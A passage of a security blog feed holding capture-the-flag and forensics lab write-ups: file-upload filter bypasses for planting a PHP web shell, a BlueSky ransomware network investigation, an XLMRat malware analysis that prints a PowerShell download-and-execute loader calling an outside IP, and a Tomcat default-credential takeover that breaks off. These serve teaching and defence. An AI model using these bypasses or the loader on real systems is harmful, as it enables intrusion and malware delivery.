https://TARGET/uploads/shell.php<br><br>4) Locate and Read the config.php File</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*DlU2G5BAMlP6d42kEkfXhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*J5cm9dQItTcVJ2Bzq_yatA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2KAdQf_tNOKvyVE9tyziw.png" /></figure><p>َ</p><h3>🧪 File Signature Filter Bypass Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an unrestricted file upload vulnerability. T<strong>he image upload function in the application filters uploaded files based on the file signature</strong> (a.k.a magic bytes). To complete the lab, upload a malicious PHP script by manipulating the file signature and read the “config.php” file .</blockquote><blockquote>What is the database password in the <strong>config.php</strong> file ?</blockquote><pre>1) Upload shell.php File to the Target     ### Failure --&gt; The Application Filters Uploaded Files based on The File Signature</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*AoTX_is52xVp4wssRoSUAg.png" /></figure><blockquote>&lt;— — — File Signature Filter Bypass — — — →</blockquote><pre>2) Add GIF89a; to the First Line of shell.php File and Upload it (using Notepad or Burp-Suite)<br><br>3) Open https://TARGET/uploads/shell.php                 ### you may not be able to execute commands yet<br><br>4) Run via the shell: sed -i &#39;1s/^GIF89a;//&#39; shell.php   ### This removes the GIF89a; and After that you can execute commands<br><br>5) Locate and Read the config.php File</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*w0xh30p8zqumWbahgtb5AA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*J5cm9dQItTcVJ2Bzq_yatA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*rxRcsAw6_L13wrAyZGH2zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOjeshVGNmbeI2BkCO4_Fg.png" /></figure><p>َ</p><h3>🧪 File Extension Filter Bypass Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an unrestricted file upload vulnerability. <strong>The image upload function in the application filters uploaded files based on the file extension blacklist</strong>. Many file extensions that are dangerous to upload are included in this blacklist. To complete the lab, find a file extension that is not on the blacklist and upload the malicious PHP file with that extension, then read the “config.php” file .</blockquote><blockquote>What is the database password in the <strong>config.php</strong> file ?</blockquote><pre>1) Upload shell.php File to the Target     ### Failure --&gt; The Application Filters Uploaded Files based on The File Extension Blacklist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*AoTX_is52xVp4wssRoSUAg.png" /></figure><blockquote>&lt;— — — File Extension Filter Bypass — — — →</blockquote><pre>2) Using Different Executable Extensions (.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .phar)<br>- Rename shell.php to shell.phar and Upload it<br><br>3) Open https://TARGET/uploads/shell.phar<br><br>4) Locate and Read the config.php File</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*wUai5v-sWlxKCKlU57af1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2KAdQf_tNOKvyVE9tyziw.png" /></figure><p>َ</p><h3>🧪 File Extension Improved Filter Bypass Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an unrestricted file upload vulnerability. The image upload function in the application filters uploaded files based on the file extension blacklist. <strong>Almost all file extensions that are dangerous to upload are included in this blacklist</strong>. To complete the lab, find a file extension that is not on the blacklist and upload the malicious PHP file with that extension, then read the “config.php” file.</blockquote><blockquote>What is the database password in the <strong>config.php</strong> file ?</blockquote><pre>1) Upload shell.php File to the Target            ### Failure --&gt; Almost all file extensions that are dangerous to upload are included in blacklist<br><br>2) Rename shell.php to shell.phar and Upload it   ### Failure --&gt; Almost all file extensions that are dangerous to upload are included in blacklist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*AoTX_is52xVp4wssRoSUAg.png" /></figure><blockquote>&lt;— File Extension Improved Filter Bypass — →</blockquote><pre>3) Create .htaccess File with: AddType application/x-httpd-php .omer<br><br>4) Upload .htaccess File<br><br>5) Rename shell.php to shell.omer and Upload it<br><br>6) Open https://TARGET/uploads/shell.omer<br><br>7) Locate and Read the config.php File</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*RLQj5KVA1V0zVxhhGrT6Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*M2deq5XRAqzNSGv7vEiReg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*wbXA-hdNivrFy5CCQu-4KA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2KAdQf_tNOKvyVE9tyziw.png" /></figure><h4>✅ Congrats — All five Unrestricted File Upload labs have been completed. I hope you found the walkthroughs useful — stay tuned for mitigation guides and follow-up posts 🎉</h4><p>💼 <a href="https://www.linkedin.com/in/omer-secure?source=user_about----------------------ac04f87e55b8----------------------"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f98b1c65b5c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BlueSky Ransomware Lab Analysis]]></title>
            <link>https://omersecure.medium.com/bluesky-ransomware-lab-analysis-b1eae34212fd?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1eae34212fd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 16:58:40 GMT</pubDate>
            <atom:updated>2025-08-04T13:13:12.538Z</atom:updated>
            <content:encoded><![CDATA[<h4>🕵️ CyberDefender — (SOC T2 — Level 4 — Lab 8) — Network Forensics</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*igUtkTapl9QBPtaaGO1i_w.png" /></figure><h4>🧩 Scenario :</h4><p>A high-profile corporation that manages critical data and services across diverse industries has reported a significant security incident. Recently, their network has been impacted by a suspected ransomware attack. Key files have been encrypted, causing disruptions and raising concerns about potential data compromise. Early signs point to the involvement of a sophisticated threat actor. Your task is to analyze the evidence provided to uncover the attacker’s methods, assess the extent of the breach, and aid in containing the threat to restore the network’s integrity.</p><ul><li><a href="https://cyberdefenders.org/blueteam-ctf-challenges/bluesky-ransomware/"><strong>BlueSky Ransomware Lab</strong></a></li></ul><h4>⚙️ Tools Used :</h4><ul><li>Wireshark</li><li>Network Miner</li><li>Windows Event Viewer</li><li>VirusTotal</li><li>CyberChef</li></ul><h3>🔍 Investigation Steps :</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q1: Knowing the source IP of the attack allows security teams to respond to potential threats quickly. Can you identify the source IP responsible for potential port scanning activity ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>1-</strong> open .pcap File on Wireshark and from<strong>Statistics &gt; IPv4 Statistics &gt; All Addresses</strong> or for more detailes open it on Network Miner. See All IPs :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*RX8teKqFlNice2F7fWGorQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*TdZXy5_XK3Re3VyxIR7Sjw.png" /></figure><p><strong>2-</strong> <strong>I Observed Port Scanning</strong> from IP: 87.96.21.84 (Black Color) to IP: 87.96.21.81 (Red Color) .</p><ul><li>Multiple connection attempts from the same source IP: 87.96.21.84 targeting various ports on the destination IP, in a short and sequential time .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26R-r6ed4X2sSgXkFRB7Og.png" /></figure><pre>Q1 Answer (Attacker IP):   87.96.21.84</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q2: <strong>During the investigation, it’s essential to determine the account targeted by the attacker. Can you identify the targeted account username ?</strong></h4><h4>Q3: <strong>We need to determine if the attacker succeeded in gaining access. Can you provide the correct password discovered by the attacker ?</strong></h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>1- Using NetworkMiner</strong>, I noticed the victim (87.96.21.81) had several open ports, mainly port 1433 for MSSQL .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ApqFCYPm7ThdUmj0wp-Og.png" /></figure><p><strong>2–1 I Used Filter in Wireshark,</strong> I observed multiple <strong>TDS7 pre-login</strong> messages followed by a <strong>TDS7 login</strong>, indicating a login attempts to the database .</p><pre>ip.src == 87.96.21.84 &amp;&amp; tds &amp;&amp; ! tls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0KwLsLdWjHO_NoRXZrmsA.png" /></figure><p><strong>2–2 I Used Filter in Event Viewer</strong> for Login succeeded and Login Failed Attemps .</p><pre>18454–18456</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQQs_vuXLamWzYfso1IFTg.png" /></figure><pre>Q2 Answer (Username):  sa</pre><pre>Q3 Answer (Password):  cyb3rd3f3nd3r$</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q4: <strong>Attackers often change some settings to facilitate lateral movement within a network. What setting did the attacker enable to control the target host further and execute further commands ?</strong></h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>The attacker enabled <strong>xp_cmdshell</strong> after first allowing advanced options using sp_configure. This allowed them to run Windows system commands directly through SQL Server .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_EI5rOPxBufcAvp8ZKmuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHdIR7y_OudzZgxM47Hw7Q.png" /></figure><pre>Q4 Answer (setting enabled):  xp_cmdshell</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4><strong><em>Q5: Process injection is often used by attackers to escalate privileges within a system. What process did the attacker inject the C2 into to gain administrative privileges ?</em></strong></h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>1- The attacker</strong> used a series of xp_cmdshell commands to create a Base64-encoded file in%TEMP%\SBjzH.b64, then wrote a VBScript in %TEMP%\Gjmwb.vbs to decode it, write an executable %TEMP%\LkUYP.exe, and run it silently .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RljGALO1Iwfo2g5msRbsqA.png" /></figure><p><strong>2- By reviewing the Windows Event Logs,</strong> I observed multiple PowerShell instances with <strong>HostName = MSFConsole</strong> and <strong>HostApplication = winlogon.exe</strong>, which is highly abnormal. This strongly suggests that the attacker injected the C2 payload into the <strong>winlogon.exe</strong> process — a critical system component — in order to gain SYSTEM-level privileges and execute commands stealthily within a trusted environment .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*czmiKdDAvG9Bm9U9lP6SKQ.png" /></figure><pre>Q5 Answer (Process Injected):  winlogon.exe</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q6: <strong>Following privilege escalation, the attacker attempted to download a file. Can you identify the URL of this file downloaded ?</strong></h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>1- The attacker (87.96.21.84) was observed running a local web server</strong> using Python, accessible via TCP port 80 (Based on Network Miner) .</p><pre>Web Server Banner 1 : TCP 80 : SimpleHTTP/0.6 Python/3.11.8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*AXyRHLri-i1p6lX-ZguarA.png" /></figure><p><strong>2- I Used Filter in Wireshark, </strong>I observed that the victim downloaded a PowerShell scripts from the attacker’s server .</p><pre>ip.dst == 87.96.21.84 &amp;&amp; http      # or ip.src == 87.96.21.81 &amp;&amp; http</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dd-zSJ0OtywhOfAjyADgUA.png" /></figure><pre>Q6 Answer (URL file downloaded):  http://87.96.21.84/checking.ps1</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q7: Understanding which group Security Identifier (SID) the malicious script checks to verify the current user’s privileges can provide insights into the attacker’s intentions. Can you provide the specific Group SID that is being checked ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>1- I Performed</strong> “<strong>Follow -&gt; HTTP Stream</strong>” on the First <strong>GET /checking.ps1</strong> request and noticed highly suspicious behavior :</p><ul><li><strong>The First Script File </strong><strong>checking.ps1</strong> checks the user’s privileges, and if administrative access is available (<strong>S-1–5–32–544</strong>), it disables Windows Defender and other security tools. Then, it downloads additional malicious scripts (<strong>del.ps1</strong> and <strong>ichigo-lite.ps1</strong>) and <strong>creates scheduled tasks (Q10)</strong> to run them repeatedly — indicating an attempt to install malware and maintain persistence on the system .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BhqHdYs9jWpFLAcPrEW0JQ.png" /></figure><pre>Q7 Answer (SID):  S-1-5-32-544</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q8: <strong>Windows Defender plays a critical role in defending against cyber threats. If an attacker disables it, the system becomes more vulnerable to further attacks. What are the registry keys used by the attacker to disable Windows Defender functionalities? Provide them in the same order found .</strong></h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>While analyzing The First Script File <strong>checking.ps1</strong>, I noticed that the attacker defined the registry path for Windows Defender using the variable: <strong>$defenderRegistryPath</strong>. Then, a list of registry keys was created to <strong>disable key protection features</strong>. to ensure Defender is fully disabled, allowing the attacker to proceed with further stages of the attack without being detected .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MtPxN7ObmWpkmrMJJvhQtg.png" /></figure><pre>Q8 Answer (Registry Keys):  DisableAntiSpyware,DisableRoutinelyTakingAction,DisableRealtimeMonitoring,SubmitSamplesConsent,SpynetReporting</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q9: Can you determine the URL of the second file downloaded by the attacker ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><ul><li><strong>The Second Script File </strong><strong>del.ps1 </strong>Cleans up WMI bindings used in the attack and kills known monitoring tools like Task Manager, Procmon, and others. then terminates itself .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dd-zSJ0OtywhOfAjyADgUA.png" /></figure><pre>Q9 Answer (Second URL File Downloaded):  http://87.96.21.84/del.ps1</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q10: Identifying malicious tasks and understanding how they were used for persistence helps in fortifying defenses against future attacks. What’s the full name of the task created by the attacker to maintain persistence ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>The First Script File </strong><strong>checking.ps1</strong> <strong>creates two scheduled tasks </strong>to run them repeatedly depending on their privilege level :</p><ul><li>If administrative privileges were available, the task created was: <strong>\Microsoft\Windows\MUI\LPupdate</strong> It runs every 4 hours as SYSTEM to execute the <strong>del.ps1</strong> script .</li><li>If no elevated privileges were available, the misleading task name created was: <strong>Optimize Start Menu Cache Files-S-3-5-21-2236678155-433529325-1142214968-1237</strong> it runs every 3 hours to execute the same script .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-m3dmspxggS0vaO3ljCFkg.png" /></figure><pre>Q10 Answer (Task):  \Microsoft\Windows\MUI\LPupdate</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q11: Based on your analysis of the second malicious file, What is the MITRE ID of the main tactic the second file tries to accomplish ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>The second script <strong>del.ps1</strong> disables security and monitoring tools. This falls under the <a href="https://attack.mitre.org/"><strong>MITRE</strong></a> tactic <strong><em>Defense Evasion</em></strong> with ID <strong>TA0005</strong> .</p><pre>Q11 Answer (MITRE ID):  TA0005</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q12: What’s the invoked PowerShell script used by the attacker for dumping credentials ?</h4><h4>Q13: Understanding which credentials have been compromised is essential for assessing the extent of the data breach. What’s the name of the saved text file containing the dumped credentials ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>The Third File Script </strong><strong>ichigo-lite.ps1,</strong> it<strong> d</strong>ownloads (<strong>Invoke-PowerDump.ps1</strong> ,<strong>Invoke-SMBExec.ps1</strong> and <strong>javaw.exe</strong>) Scripts :</p><p><strong>1- </strong><strong>Invoke-PowerDump.ps1</strong> script to extract password hashes in C:\ProgramData\hashes.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DIi---USqoLtFiavgsClfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3KzRsSEY27Sgwj6Z80sQ5A.png" /></figure><pre>Q12 Answer (Dumping Credentials):  Invoke-PowerDump.ps1</pre><pre>Q13 Answer (Saved Text File):  hashes.txt</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q14: Knowing the hosts targeted during the attacker’s reconnaissance phase, the security team can prioritize their remediation efforts on these specific hosts. What’s the name of the text file containing the discovered hosts ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>2- </strong><strong>Invoke-SMBExec.ps1</strong> script to perform lateral movement. It fetches a list of target hosts from <strong>extracted_hosts.txt</strong>, then uses the first hash to launch a Pass-the-Hash attack .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfEtAL-ME0UxMSzCQKeTag.png" /></figure><pre>Q14 Answer (discovered hosts):  extracted_hosts.txt</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Q15: After hash dumping, the attacker attempted to deploy ransomware on the compromised host, spreading it to the rest of the network through previous lateral movement activities using SMB. You’re provided with the ransomware sample for further analysis. By performing behavioral analysis, what’s the name of the ransom note file ?</h4><h4>Q16: In some cases, decryption tools are available for specific ransomware families. Identifying the family name can lead to a potential decryption solution. What’s the name of this ransomware family ?</h4><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>3- Finally</strong>, it downloads <strong>javaw.exe</strong> into <strong>C:\ProgramData</strong> but does not execute it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IETNsgfRW1Cq995OuRzU8A.png" /></figure><p><strong>I Extracted</strong> the the ransomware file named <strong>javaw.exe</strong> via Wireshark: <strong>File &gt; Export Objects &gt; HTTP</strong> then analyzed it in VirusTotal, without running it on my own device .</p><ul><li>you can analyze it safely by submitting its SHA256 hash to VirusTotal (<strong>Don’t running it on your own device</strong>) .</li></ul><pre>SHA256 Hash: 3e035f2d7d30869ce53171ef5a0f761bfb9c14d94d9fe6da385e20b8d96dc2fb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oum-N4s6jiqzL_OZsEWvgg.png" /></figure><p>From the <strong>Behavior section</strong> under <strong>Files opened,</strong> the ransom note file named <strong># DECRYPT FILES BLUESKY #</strong> in both TXT and HTML formats. This file is used to guide the victim on how to recover their files and pay the ransom .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQRSAEcVIenYWH28E57WHw.png" /></figure><pre>Q15 Answer (Ransom Note File):  # DECRYPT FILES BLUESKY #</pre><pre>Q16 Answer (Ransomware Family):  bluesky</pre><p>💼 <a href="https://www.linkedin.com/in/omer-secure?source=user_about----------------------ac04f87e55b8----------------------"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1eae34212fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XLMRat Lab Analysis]]></title>
            <link>https://omersecure.medium.com/xlmrat-lab-analysis-4278b9c4ed92?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/4278b9c4ed92</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 23:34:55 GMT</pubDate>
            <atom:updated>2025-07-08T16:23:11.642Z</atom:updated>
            <content:encoded><![CDATA[<h4>🕵️ CyberDefender — Network Forensics</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0gfXJyNE66waYqdpUeHXw.png" /></figure><h4>🧩 Scenario :</h4><p>A compromised machine has been flagged due to suspicious network traffic. Your task is to analyze the PCAP file to determine the attack method, identify any malicious payloads, and trace the timeline of events. Focus on how the attacker gained access, what tools or techniques were used, and how the malware operated post-compromise.</p><ul><li><a href="https://cyberdefenders.org/blueteam-ctf-challenges/xlmrat/"><strong>XLMRat Lab</strong></a></li></ul><h4>⚙️ Tools Used :</h4><ul><li>Wireshark | VirusTotal | <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tools=cyberchef">CyberChef</a></li></ul><h3>🔍 Investigation Steps :</h3><h4>Q1: The attacker successfully executed a command to download the first stage of the malware. What is the URL from which the first malware stage was installed :</h4><p>َ</p><p><strong>Filter used in Wireshark :</strong></p><pre>http          # Filter 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lz038wBlwjq0TEfTNCOXxQ.png" /></figure><p><strong>Analysis :</strong></p><ul><li>I used <strong>HTTP</strong> Filter because the first stage of the malware was installed via URL</li><li>I Observed a 2 requests <strong>GET /xlm.txt</strong> and <strong>GET /mdm.jpg</strong></li><li>I Performed “<strong>Follow -&gt; HTTP Stream</strong>” on the <strong>GET /xlm.txt</strong> request and noticed highly suspicious response behavior :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFgk-6qLpYMNmhnjTXNlJw.png" /></figure><ul><li>I Observed <strong>xlm.txt</strong> file contains a Malicious Powershell code that downloads and executes a <strong>mdm.jpg</strong> file</li></ul><pre># Result after compiling the code :<br>$A123 = &#39;IeX(New-Object Net.WebClient).DownloadString(&#39;&#39;http://45.126.209.4:222/mdm.jpg&#39;&#39;)&#39;;<br>$B456 = &#39;eBCLIENT).Download(&#39;O&#39;;<br>$C789 = &#39;VAN(&#39;&#39;http://45.126.209.4:222/mdm.jpg&#39;&#39;)&#39;.Replace(&#39;VAN&#39;,&#39;ADSTRING&#39;);<br>IeX($A123 + $B456 + $C789)<br><br><br>powershell.exe -NoP -Wind Hidden -Exec Bypass -NonI &lt;Code&gt;</pre><pre># Results :<br>A compromised machine (Source) IP:  10.1.9.101<br>Malicious (Destination) IP:         45.126.209.4<br>Malicious URL:                      http://45.126.209.4:222/xlm.txt<br><br>Q1 Answer:   http://45.126.209.4:222/mdm.jpg</pre><h4>Q2: Which hosting provider owns the associated IP address ?</h4><p>َ</p><p>I used <a href="https://www.iplocation.net/"><strong>IP Geolocation</strong></a><strong> .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*5ra9cXRCJYSBVDMnpkUYAQ.png" /></figure><pre>Q2 Answer:   Reliablesite.net</pre><h4>Q3: By analyzing the malicious scripts, two payloads were identified: a loader and a secondary executable. What is the SHA256 of the malware executable ?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gr2oqmzwU-81vpqLtFlhfA.png" /></figure><ol><li>I Performed “<strong>Follow -&gt; HTTP Stream</strong>” on the <strong>GET /mdm.jpg</strong> request and noticed highly suspicious response behavior .</li><li>I found 2 Payloads <strong>$hexString_bbb</strong> and <strong>$hexString_pe </strong>then I copied <strong>$hexString_bbb </strong>content and pasted in <a href="https://gchq.github.io/CyberChef/"><strong>CyberChef</strong></a><strong> -&gt; From Hex -&gt; SHA256</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7mQvunPwL4aCMYEygu1bbA.png" /></figure><pre>Q3 Answer:   1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798</pre><h4>Q4: What is the malware family label based on Alibaba ?</h4><p>َ</p><ol><li>I used <strong>VirusTotal </strong>and pasted SHA256 of the malware executable .</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wY1rJqRZCYSadjEFdL_9QA.png" /></figure><pre>Q4 Answer:   AsyncRat</pre><h4>Q5: What is the timestamp of the malware’s creation ?</h4><p>َ</p><ul><li>From VirusTotal — &gt;Details</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyaawBFv1C4Q9T3rz6Qh1A.png" /></figure><pre>Q5 Answer:   2023-10-30 15:08</pre><h4>Q6: Which LOLBin is leveraged for stealthy process execution in this script? Provide the full path :</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0yB_KWoYVIjewwMLGQb_Q.png" /></figure><ol><li>َI copied <strong>mdm.jpg</strong>content and pasted in .txt file, then replaced <strong>&#39;#&#39;</strong> with <strong>&#39;&#39;</strong></li></ol><pre><br>Q6 Answer:   C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe</pre><h4>Q7: The script is designed to drop several files. List the names of the files dropped by the script :</h4><p>َ</p><ul><li>after analysis <strong>mdm.jpg</strong> file, Finded 3 Files that dropped by the script</li></ul><ol><li>C:\Users\Public\Conted.ps1 ()</li><li>C:\Users\Public\Conted.bat (run Conted.ps1)</li><li>C:\Users\Public\Conted.vbs (run Conted.bat)</li></ol><pre>Q7 Answer:   Conted.ps1, Conted.bat, Conted.vbs</pre><p>💼 <a href="https://www.linkedin.com/in/omer-secure"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4278b9c4ed92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tomcat Takeover Lab Analysis]]></title>
            <link>https://omersecure.medium.com/tomcat-takeover-lab-analysis-234e8f129ad9?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/234e8f129ad9</guid>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Sat, 05 Jul 2025 10:31:32 GMT</pubDate>
            <atom:updated>2025-07-20T16:42:15.484Z</atom:updated>
            <content:encoded><![CDATA[<h4>🕵️ CyberDefender — (SOC T1 — Level 3— Lab 5) — Network Forensics</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*q58b0jZscfJ_mkfh7nN8Fg.png" /></figure><h4>🧩 Scenario :</h4><p>The SOC team has identified suspicious activity on a web server within the <strong>company’s intranet</strong>. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the <strong>Apache Tomcat web server</strong>. Your task is to analyze the PCAP file to understand the scope of the attack.</p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/"><strong>Tomcat Takeover Lab</strong></a></p><p><strong>Hints :</strong></p><ul><li>company’s intranet (Internal Network)</li><li>Apache Tomcat web server (for Java Applications: JSP/Servlets)</li></ul><h4>🎯 Objectives :</h4><ul><li>Analyze network traffic captures (PCAP) to trace attacker activity.</li></ul><h4>⚙️ Tools Used :</h4><ul><li>Wireshark</li><li>NetworkMiner</li></ul><h3>🔍 Investigation Steps :</h3><h4>Step 1: Initial Access Detection :</h4><p>َ</p><p><strong>Filters used in Wireshark :</strong></p><pre>http.request.method == &quot;GET&quot;   # Filter 1<br>http.request.method == &quot;POST&quot;  # Filter 2 or http.request.method == &quot;POST&quot; &amp;&amp; ip.dst == 10.0.0.112</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqfdZzsbqaKV5bKq25kzyQ.png" /></figure><p><strong>Analysis :</strong></p><ul><li>I used <strong>GET</strong> Filter to Identify the target server and I Observed multiple requests directed to the <strong>IP address: 10.0.0.112</strong> - indicating that this is the likely <strong>victim server</strong>.</li><li>Then, I used <strong>POST</strong> Filter to detect any attempts to upload Suspicious Files to the Web Server. I observed only one POST request made to <strong>POST /manager/html/upload</strong> from the <strong>source IP 14.0.0.120 .</strong></li><li>I Performed “<strong>Follow -&gt; HTTP Stream</strong>” on the request and noticed highly suspicious behavior .</li></ul><p><strong>Request 1 from HTTP Stream :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jxu8fTrUOldaSFY3SWY0MA.png" /></figure><pre>Source IP: 14.0.0.120   --&gt;   Destination IP: 10.0.0.112<br><br># Suspicious Request :<br>POST /manager/html/upload                                               # Tomcat Management Page<br>Authorization: Basic YWRtaW46dG9tY2F0 = admin:tomcat                    # Default Credentials<br>Content-Disposition: form-data; name=&quot;deployWar&quot;; filename=&quot;JXQOZY.war&quot; # Java Web Application Archive<br><br># Response :<br>HTTP/1.1 200 OK     # Upload succeeded</pre><ul><li>The attacker 